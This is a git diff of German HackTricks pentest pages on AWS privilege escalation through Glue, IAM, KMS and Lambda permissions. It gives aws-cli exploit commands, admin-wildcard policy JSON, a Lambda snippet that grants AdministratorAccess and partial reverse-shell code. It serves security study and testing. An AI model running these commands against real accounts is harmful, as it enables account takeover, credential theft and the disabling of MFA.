+Benutzer mit **`iam:PassRole`** in Kombination mit entweder **`glue:CreateJob` oder `glue:UpdateJob`**, und entweder **`glue:StartJobRun` oder `glue:CreateTrigger`** können **einen AWS Glue job erstellen oder aktualisieren**, ein beliebiges **Glue service account** anhängen und die Ausführung des Jobs starten. Der Job kann beliebigen Python-Code ausführen, was ausgenutzt werden kann, um eine reverse shell aufzubauen. Diese reverse shell kann dann genutzt werden, um die **IAM credential**s der an den Glue-Job angehängten Rolle zu exfiltrate, was zu potenziellem unautorisiertem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann:
 ```bash
 # Content of the python script saved in s3:
 #import socket,subprocess,os
@@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
 --actions '[{"JobName": "privesctest"}]' --start-on-creation \
 --schedule "0/5 * * * * *"  #Every 5mins, feel free to change
 ```
-**Potenzielle Auswirkungen:** Privesc auf die angegebene Glue-Service-Rolle.
+**Mögliche Auswirkung:** Privesc auf die angegebene glue-Service-Rolle.
 
 ### `glue:UpdateJob`
 
-Nur mit der Aktualisierungsberechtigung könnte ein Angreifer die IAM-Anmeldeinformationen der bereits angehängten Rolle stehlen.
+Allein mit der Update-Berechtigung könnte ein Angreifer die IAM-Anmeldeinformationen der bereits angehängten Rolle stehlen.
 
-**Potenzielle Auswirkungen:** Privesc auf die angehängte Glue-Service-Rolle.
+**Mögliche Auswirkung:** Privesc auf die angehängte glue-Service-Rolle.
 
 ## Referenzen
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
deleted file mode 100644
index 1a0bfbeff..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ /dev/null
@@ -1,231 +0,0 @@
-# AWS - IAM Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Für weitere Informationen zu IAM siehe:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### **`iam:CreatePolicyVersion`**
-
-Ermöglicht das Erstellen einer neuen IAM-Policy-Version, wobei die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion` durch die Verwendung des Flags `--set-as-default` umgangen wird. Dies ermöglicht die Definition benutzerdefinierter Berechtigungen.
-
-**Exploit-Befehl:**
-```bash
-aws iam create-policy-version --policy-arn <target_policy_arn> \
---policy-document file:///path/to/administrator/policy.json --set-as-default
-```
-**Auswirkungen:** Eskaliert direkt die Berechtigungen, indem jede Aktion auf jede Ressource erlaubt wird.
-
-### **`iam:SetDefaultPolicyVersion`**
-
-Erlaubt das Ändern der Standardversion einer IAM-Richtlinie in eine andere vorhandene Version, was potenziell die Berechtigungen eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
-
-**Bash-Befehl:**
-```bash
-aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
-```
-**Auswirkung:** Indirekte Privilegieneskalation durch Aktivierung zusätzlicher Berechtigungen.
-
-### **`iam:CreateAccessKey`**
-
-Ermöglicht das Erstellen einer Zugriffs-Schlüssel-ID und eines geheimen Zugriffs-Schlüssels für einen anderen Benutzer, was zu einer potenziellen Privilegieneskalation führen kann.
-
-**Ausnutzen:**
-```bash
-aws iam create-access-key --user-name <target_user>
-```
-**Auswirkungen:** Direkte Privilegieneskalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
-
-### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-
-Erlaubt das Erstellen oder Aktualisieren eines Anmeldeprofils, einschließlich der Festlegung von Passwörtern für die AWS-Konsole, was zu einer direkten Privilegieneskalation führt.
-
-**Ausnutzung zur Erstellung:**
-```bash
-aws iam create-login-profile --user-name target_user --no-password-reset-required \
---password '<password>'
-```
-**Exploit für Update:**
-```bash
-aws iam update-login-profile --user-name target_user --no-password-reset-required \
---password '<password>'
-```
-**Auswirkung:** Direkte Privilegieneskalation durch das Einloggen als "irgendein" Benutzer.
-
-### **`iam:UpdateAccessKey`**
-
-Erlaubt das Aktivieren eines deaktivierten Zugriffsschlüssels, was zu unbefugtem Zugriff führen kann, wenn der Angreifer den deaktivierten Schlüssel besitzt.
-
-**Ausnutzen:**
-```bash
-aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
-```
-**Auswirkungen:** Direkte Privilegieneskalation durch Reaktivierung von Zugriffsschlüsseln.
-
-### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-
-Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für spezifische AWS-Dienste (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers geerbt werden.
-
-**Ausnutzen für die Erstellung:**
-```bash
-aws iam create-service-specific-credential --user-name <username> --service-name <service>
-```
-**Exploits für Zurücksetzen:**
-```bash
-aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
-```
-**Auswirkungen:** Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.
-
-### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-
-Erlaubt das Anhängen von Richtlinien an Benutzer oder Gruppen, wodurch Privilegien direkt durch das Erben der Berechtigungen der angehängten Richtlinie eskaliert werden.
-
-**Ausnutzung für Benutzer:**
-```bash
-aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
-```
-**Exploits für Gruppen:**
-```bash
-aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
-```
-**Auswirkungen:** Direkte Privilegieneskalation auf alles, was die Richtlinie gewährt.
-
-### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-
-Erlaubt das Anhängen oder Setzen von Richtlinien an Rollen, Benutzer oder Gruppen, wodurch eine direkte Privilegieneskalation durch Gewährung zusätzlicher Berechtigungen ermöglicht wird.
-
-**Ausnutzung für Rolle:**
-```bash
-aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
-```
-**Ausnutzung von Inline-Richtlinien:**
-```bash
-aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
---policy-document "file:///path/to/policy.json"
-
-aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
---policy-document file:///path/to/policy.json
-
-aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
---policy-document file:///path/to/policy.json
-```
-Sie können eine Richtlinie wie folgt verwenden:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": ["*"],
-"Resource": ["*"]
-}
-]
-}
-```
-**Auswirkung:** Direkte Privilegieneskalation durch das Hinzufügen von Berechtigungen über Richtlinien.
-
-### **`iam:AddUserToGroup`**
-
-Ermöglicht das Hinzufügen von sich selbst zu einer IAM-Gruppe, wodurch Privilegien durch das Erben der Berechtigungen der Gruppe eskaliert werden.
-
-**Ausnutzen:**
-```bash
-aws iam add-user-to-group --group-name <group_name> --user-name <username>
-```
-**Auswirkung:** Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
-
-### **`iam:UpdateAssumeRolePolicy`**
-
-Erlaubt das Ändern des Dokuments der Annahme-Rollenrichtlinie einer Rolle, wodurch die Annahme der Rolle und ihrer zugehörigen Berechtigungen ermöglicht wird.
-
-**Ausnutzen:**
-```bash
-aws iam update-assume-role-policy --role-name <role_name> \
---policy-document file:///path/to/assume/role/policy.json
-```
-Wo die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle zu übernehmen:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": "sts:AssumeRole",
-"Principal": {
-"AWS": "$USER_ARN"
-}
-}
-]
-}
-```
-**Auswirkungen:** Direkte Privilegieneskalation durch Übernahme der Berechtigungen einer beliebigen Rolle.
-
-### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-
-Erlaubt das Hochladen eines SSH-Öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.
-
-**Ausnutzung für das Hochladen des SSH-Schlüssels:**
-```bash
-aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
-```
-**Exploits für die Deaktivierung von MFA:**
-```bash
-aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
-```
-**Auswirkungen:** Indirekte Privilegieneskalation durch Aktivierung des Zugriffs auf CodeCommit oder Deaktivierung des MFA-Schutzes.
-
-### **`iam:ResyncMFADevice`**
-
-Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu einer indirekten Privilegieneskalation durch Manipulation des MFA-Schutzes führen kann.
-
-**Bash-Befehl:**
-```bash
-aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
---authentication-code1 <code1> --authentication-code2 <code2>
-```
-**Auswirkungen:** Indirekte Privilegieneskalation durch Hinzufügen oder Manipulieren von MFA-Geräten.
-
-### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-
-Mit diesen Berechtigungen können Sie **die XML-Metadaten der SAML-Verbindung ändern**. Dann könnten Sie die **SAML-Föderation** missbrauchen, um sich mit jeder **Rolle, die ihr vertraut**, **einzuloggen**.
-
-Beachten Sie, dass legitime Benutzer sich dabei **nicht einloggen können**. Sie könnten jedoch die XML erhalten, sodass Sie Ihre eigene einfügen, sich einloggen und die vorherige Konfiguration wiederherstellen können.
-```bash
-# List SAMLs
-aws iam list-saml-providers
-
-# Optional: Get SAML provider XML
-aws iam get-saml-provider --saml-provider-arn <ARN>
-
-# Update SAML provider
-aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
-
-## Login impersonating roles that trust the SAML provider
-
-# Optional: Set the previous XML back
-aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
-```
-> [!NOTE]
-> TODO: Ein Tool, das in der Lage ist, die SAML-Metadaten zu generieren und sich mit einer angegebenen Rolle anzumelden
-
-### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-
-(Unklar darüber) Wenn ein Angreifer diese **Berechtigungen** hat, könnte er einen neuen **Thumbprint** hinzufügen, um sich in allen Rollen anzumelden, die dem Anbieter vertrauen.
-```bash
-# List providers
-aws iam list-open-id-connect-providers
-# Optional: Get Thumbprints used to not delete them
-aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
-# Update Thumbprints (The thumbprint is always a 40-character string)
-aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
-```
-## Referenzen
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
new file mode 100644
index 000000000..2f074d2cd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -0,0 +1,235 @@
+# AWS - IAM Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Für mehr Informationen zu IAM siehe:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### **`iam:CreatePolicyVersion`**
+
+Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung `iam:SetDefaultPolicyVersion`, indem das `--set-as-default` Flag verwendet wird. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
+
+**Exploit Command:**
+```bash
+aws iam create-policy-version --policy-arn <target_policy_arn> \
+--policy-document file:///path/to/administrator/policy.json --set-as-default
+```
+**Auswirkung:** Ermöglicht direkt eine Eskalation der Privilegien, da dadurch beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
+
+### **`iam:SetDefaultPolicyVersion`**
+
+Ermöglicht das Ändern der Standardversion einer IAM-Richtlinie auf eine andere vorhandene Version, was unter Umständen zu einer Eskalation der Privilegien führen kann, wenn die neue Version mehr Berechtigungen enthält.
+
+**Bash-Befehl:**
+```bash
+aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
+```
+**Auswirkung:** Indirekte Privilegieneskalation durch das Ermöglichen zusätzlicher Berechtigungen.
+
+### **`iam:CreateAccessKey`**
+
+Ermöglicht das Erstellen einer Access Key ID und eines Secret Access Key für einen anderen Benutzer, was zu potenzieller Privilegieneskalation führen kann.
+
+**Exploit:**
+```bash
+aws iam create-access-key --user-name <target_user>
+```
+**Auswirkung:** Direkte privilege escalation durch Übernahme der erweiterten Berechtigungen eines anderen Benutzers.
+
+### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
+
+Ermöglicht das Erstellen oder Aktualisieren eines Anmeldeprofils, einschließlich des Festlegens von Passwörtern für die Anmeldung an der AWS-Konsole, was zu einer direkten privilege escalation führt.
+
+**Exploit for Creation:**
+```bash
+aws iam create-login-profile --user-name target_user --no-password-reset-required \
+--password '<password>'
+```
+**Exploit für Update:**
+```bash
+aws iam update-login-profile --user-name target_user --no-password-reset-required \
+--password '<password>'
+```
+**Auswirkung:** Direkte Privilegieneskalation durch Anmeldung als "any" Benutzer.
+
+### **`iam:UpdateAccessKey`**
+
+Ermöglicht das Reaktivieren eines deaktivierten access key, was zu unbefugtem Zugriff führen kann, wenn der Angreifer im Besitz des deaktivierten access key ist.
+
+**Exploit:**
+```bash
+aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
+```
+**Auswirkung:** Direkte Privilegieneskalation durch Reaktivierung von access keys.
+
+### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
+
+Ermöglicht das Generieren oder Zurücksetzen von credentials für bestimmte AWS-Dienste (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.
+
+**Exploit zur Erstellung:**
+```bash
+aws iam create-service-specific-credential --user-name <username> --service-name <service>
+```
+**Exploit für Reset:**
+```bash
+aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
+```
+**Auswirkung:** Direkte Privilegieneskalation innerhalb der Dienstberechtigungen des Benutzers.
+
+### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
+
+Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und eskaliert dadurch direkt Rechte, indem die Berechtigungen der angehängten Policy übernommen werden.
+
+**Exploit für Benutzer:**
+```bash
+aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
+```
+**Exploit für Gruppe:**
+```bash
+aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
+```
+**Auswirkung:** Direkte Rechteeskalation auf alles, was die Richtlinie gewährt.
+
+### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
+
+Ermöglicht das Anhängen oder Einfügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht so eine direkte Rechteeskalation durch das Gewähren zusätzlicher Berechtigungen.
+
+**Exploit for Role:**
+```bash
+aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
+```
+**Exploit für Inline Policies:**
+```bash
+aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
+--policy-document "file:///path/to/policy.json"
+
+aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
+--policy-document file:///path/to/policy.json
+
+aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
+--policy-document file:///path/to/policy.json
+```
+Sie können eine Richtlinie wie folgt verwenden:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": ["*"],
+"Resource": ["*"]
+}
+]
+}
+```
+**Auswirkung:** Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Policies.
+
+### **`iam:AddUserToGroup`**
+
+Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen und damit Privilegien zu eskalieren, indem die Berechtigungen der Gruppe übernommen werden.
+
+**Exploit:**
+```bash
+aws iam add-user-to-group --group-name <group_name> --user-name <username>
+```
+**Impact:** Direkte Privilegieneskalation auf das Niveau der Berechtigungen der Gruppe.
+
+### **`iam:UpdateAssumeRolePolicy`**
+
+Ermöglicht das Ändern des assume role policy document einer Rolle, wodurch das Annehmen der Rolle und die Übernahme ihrer zugehörigen Berechtigungen möglich wird.
+
+**Exploit:**
+```bash
+aws iam update-assume-role-policy --role-name <role_name> \
+--policy-document file:///path/to/assume/role/policy.json
+```
+Wenn die Richtlinie wie folgt aussieht, die dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sts:AssumeRole",
+"Principal": {
+"AWS": "$USER_ARN"
+}
+}
+]
+}
+```
+**Auswirkung:** Direkte Privilegieneskalation durch das Übernehmen der Berechtigungen beliebiger Rollen.
+
+### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
+
+Ermöglicht das Hochladen eines SSH-öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.
+
+**Exploit für SSH Key Upload:**
+```bash
+aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
+```
+**Exploit für MFA-Deaktivierung:**
+```bash
+aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
+```
+**Auswirkung:** Indirekte privilege escalation durch Aktivierung des CodeCommit-Zugriffs oder Deaktivierung des MFA-Schutzes.
+
+### **`iam:ResyncMFADevice`**
+
+Ermöglicht die Resynchronisierung eines MFA-Geräts und kann durch Manipulation des MFA-Schutzes potenziell zu einer indirekten privilege escalation führen.
+
+**Bash-Befehl:**
+```bash
+aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
+--authentication-code1 <code1> --authentication-code2 <code2>
+```
+**Auswirkung:** Indirekte Privilegieneskalation durch Hinzufügen oder Manipulieren von MFA-Geräten.
+
+### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
+
+Mit diesen Berechtigungen kannst du **die XML-Metadaten der SAML-Verbindung ändern**. Dann könntest du die **SAML federation** missbrauchen, um einen **login** mit jeder **role, die ihr vertraut**, durchzuführen.
+
+Beachte, dass dadurch **legit users won't be able to login**. Du könntest jedoch das XML erhalten, es durch dein eigenes ersetzen, login und die vorherige Konfiguration wiederherstellen.
+```bash
+# List SAMLs
+aws iam list-saml-providers
+
+# Optional: Get SAML provider XML
+aws iam get-saml-provider --saml-provider-arn <ARN>
+
+# Update SAML provider
+aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
+
+## Login impersonating roles that trust the SAML provider
+
+# Optional: Set the previous XML back
+aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
+```
+> [!NOTE]
+> TODO: Ein Tool, das SAML metadata generieren kann und sich mit einer angegebenen role anmelden
+
+### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
+
+(Unsicher darüber) Wenn ein attacker diese **permissions** hat, könnte er einen neuen **Thumbprint** hinzufügen, um sich in allen roles anzumelden, die dem provider vertrauen.
+```bash
+# List providers
+aws iam list-open-id-connect-providers
+# Optional: Get Thumbprints used to not delete them
+aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
+# Update Thumbprints (The thumbprint is always a 40-character string)
+aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
+```
+### `iam:PutUserPermissionsBoundary`
+
+Diese Berechtigung ermöglicht einem attacker, die permissions boundary eines Benutzers zu aktualisieren und dadurch möglicherweise dessen Privilegien zu eskalieren, indem Aktionen erlaubt werden, die normalerweise durch die bestehenden Berechtigungen eingeschränkt sind.
+
+## Referenzen
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
index cfbc04358..99a4af09a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md
@@ -1,18 +1,18 @@
 # AWS - KMS Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## KMS
 
 Für weitere Informationen zu KMS siehe:
 
 {{#ref}}
-../aws-services/aws-kms-enum.md
+../../aws-services/aws-kms-enum.md
 {{#endref}}
 
 ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
 
-Mit diesen Berechtigungen ist es möglich, **die Zugriffsberechtigungen für den Schlüssel zu ändern**, sodass er von anderen Konten oder sogar von jedem verwendet werden kann:
+Mit diesen Berechtigungen ist es möglich, **die Zugriffsberechtigungen für den Schlüssel zu ändern**, sodass er von anderen Accounts oder sogar von jedem verwendet werden kann:
 ```bash
 aws kms list-keys
 aws kms list-key-policies --key-id <id> # Although only 1 max per key
@@ -49,7 +49,7 @@ policy.json:
 ```
 ### `kms:CreateGrant`
 
-Es **erlaubt einem Principal, einen KMS-Schlüssel zu verwenden:**
+Es **ermöglicht einem Principal, einen KMS-Schlüssel zu verwenden:**
 ```bash
 aws kms create-grant \
 --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
@@ -57,12 +57,12 @@ aws kms create-grant \
 --operations Decrypt
 ```
 > [!WARNING]
-> Ein Grant kann nur bestimmte Arten von Operationen erlauben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> Ein grant kann nur bestimmte Arten von Operationen erlauben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
 
 > [!WARNING]
-> Beachten Sie, dass es einige Minuten dauern kann, bis KMS **dem Benutzer erlaubt, den Schlüssel zu verwenden, nachdem der Grant erstellt wurde**. Sobald diese Zeit vergangen ist, kann der Principal den KMS-Schlüssel verwenden, ohne etwas anzugeben.\
-> Wenn es jedoch erforderlich ist, den Grant sofort zu verwenden, [verwenden Sie ein Grant-Token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (siehe den folgenden Code).\
-> Für [**weitere Informationen lesen Sie dies**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
+> Beachte, dass es ein paar Minuten dauern kann, bis KMS dem Benutzer **erlaubt, den Schlüssel nach der Erstellung des grant zu verwenden**. Sobald diese Zeit verstrichen ist, kann der principal den KMS-Schlüssel verwenden, ohne irgendetwas anzugeben.\
+> Wenn es jedoch nötig ist, den grant sofort zu nutzen, [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (siehe den folgenden Code).\
+> Für [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
 ```bash
 # Use the grant token in a request
 aws kms generate-data-key \
@@ -70,15 +70,15 @@ aws kms generate-data-key \
 –-key-spec AES_256 \
 --grant-tokens $token
 ```
-Beachten Sie, dass es möglich ist, die Berechtigungen von Schlüsseln mit folgendem Befehl aufzulisten:
+Beachte, dass man Grants von Schlüsseln wie folgt auflisten kann:
 ```bash
 aws kms list-grants --key-id <value>
 ```
 ### `kms:CreateKey`, `kms:ReplicateKey`
 
-Mit diesen Berechtigungen ist es möglich, einen KMS-Schlüssel mit aktivierter Multi-Region in einer anderen Region mit einer anderen Richtlinie zu replizieren.
+Mit diesen Berechtigungen ist es möglich, einen Multi-Region-aktivierten KMS-Schlüssel in einer anderen Region mit einer anderen Richtlinie zu replizieren.
 
-Ein Angreifer könnte dies ausnutzen, um seine Berechtigungen für den Schlüssel zu erhöhen und ihn zu verwenden.
+Ein Angreifer könnte dies also missbrauchen, um dadurch privesc, Zugriff auf den Schlüssel zu erhalten und ihn zu verwenden.
 ```bash
 aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
 
@@ -100,11 +100,11 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re
 ```
 ### `kms:Decrypt`
 
-Diese Berechtigung erlaubt die Verwendung eines Schlüssels, um Informationen zu entschlüsseln.\
+Diese Berechtigung erlaubt, einen key zu verwenden, um Informationen zu decrypten.\
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-post-exploitation/aws-kms-post-exploitation.md
+../../aws-post-exploitation/aws-kms-post-exploitation/README.md
 {{#endref}}
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
similarity index 52%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
index 74d1a7be3..4359ed023 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
@@ -1,22 +1,22 @@
 # AWS - Lambda Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## lambda
 
 Mehr Informationen zu lambda in:
 
 {{#ref}}
-../aws-services/aws-lambda-enum.md
+../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
 
-Benutzer mit den **`iam:PassRole`, `lambda:CreateFunction` und `lambda:InvokeFunction`**-Berechtigungen können ihre Privilegien eskalieren.\
-Sie können **eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen**, wodurch die Funktion die mit dieser Rolle verknüpften Berechtigungen erhält. Der Benutzer kann dann **Code in diese Lambda-Funktion schreiben und hochladen (z. B. mit einer rev shell)**.\
-Sobald die Funktion eingerichtet ist, kann der Benutzer **deren Ausführung auslösen** und die beabsichtigten Aktionen durchführen, indem er die Lambda-Funktion über die AWS API aufruft. Auf diese Weise kann der Benutzer effektiv Aufgaben indirekt über die Lambda-Funktion ausführen und dabei mit dem Zugriffsniveau arbeiten, das der zugewiesenen IAM-Rolle gewährt ist.\\
+Benutzer mit den **`iam:PassRole`, `lambda:CreateFunction` und `lambda:InvokeFunction`** Berechtigungen können ihre Privilegien eskalieren.\
+Sie können **eine neue Lambda-Funktion erstellen und ihr eine bestehende IAM-Rolle zuweisen**, wodurch die Funktion die mit dieser Rolle verbundenen Berechtigungen erhält. Der Benutzer kann dann **Code in diese Lambda-Funktion schreiben und hochladen (z. B. mit einer rev shell)**.\
+Sobald die Funktion eingerichtet ist, kann der Benutzer deren Ausführung auslösen und die gewünschten Aktionen durch Aufrufen der Lambda-Funktion über die AWS API durchführen. Dieser Ansatz ermöglicht es dem Benutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen und mit dem Berechtigungsniveau zu operieren, das der zugewiesenen IAM-Rolle gewährt wird.\\
 
-Ein Angreifer könnte dies missbrauchen, um eine **rev shell zu bekommen und das token zu stehlen**:
+Ein Angreifer könnte dies ausnutzen, um eine **rev shell zu erhalten und das Token zu stehlen**:
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
@@ -47,7 +47,7 @@ aws lambda invoke --function-name my_function output.txt
 aws iam list-attached-user-policies --user-name <user-name>
 ```
 Du könntest auch **abuse the lambda role permissions** direkt aus der lambda function selbst ausnutzen.\
-Wenn die lambda role über genügend Berechtigungen verfügt, könntest du sie verwenden, um dir Adminrechte zu gewähren:
+Wenn die lambda role über genügend permissions verfügte, könntest du sie nutzen, um dir admin rights zu gewähren:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
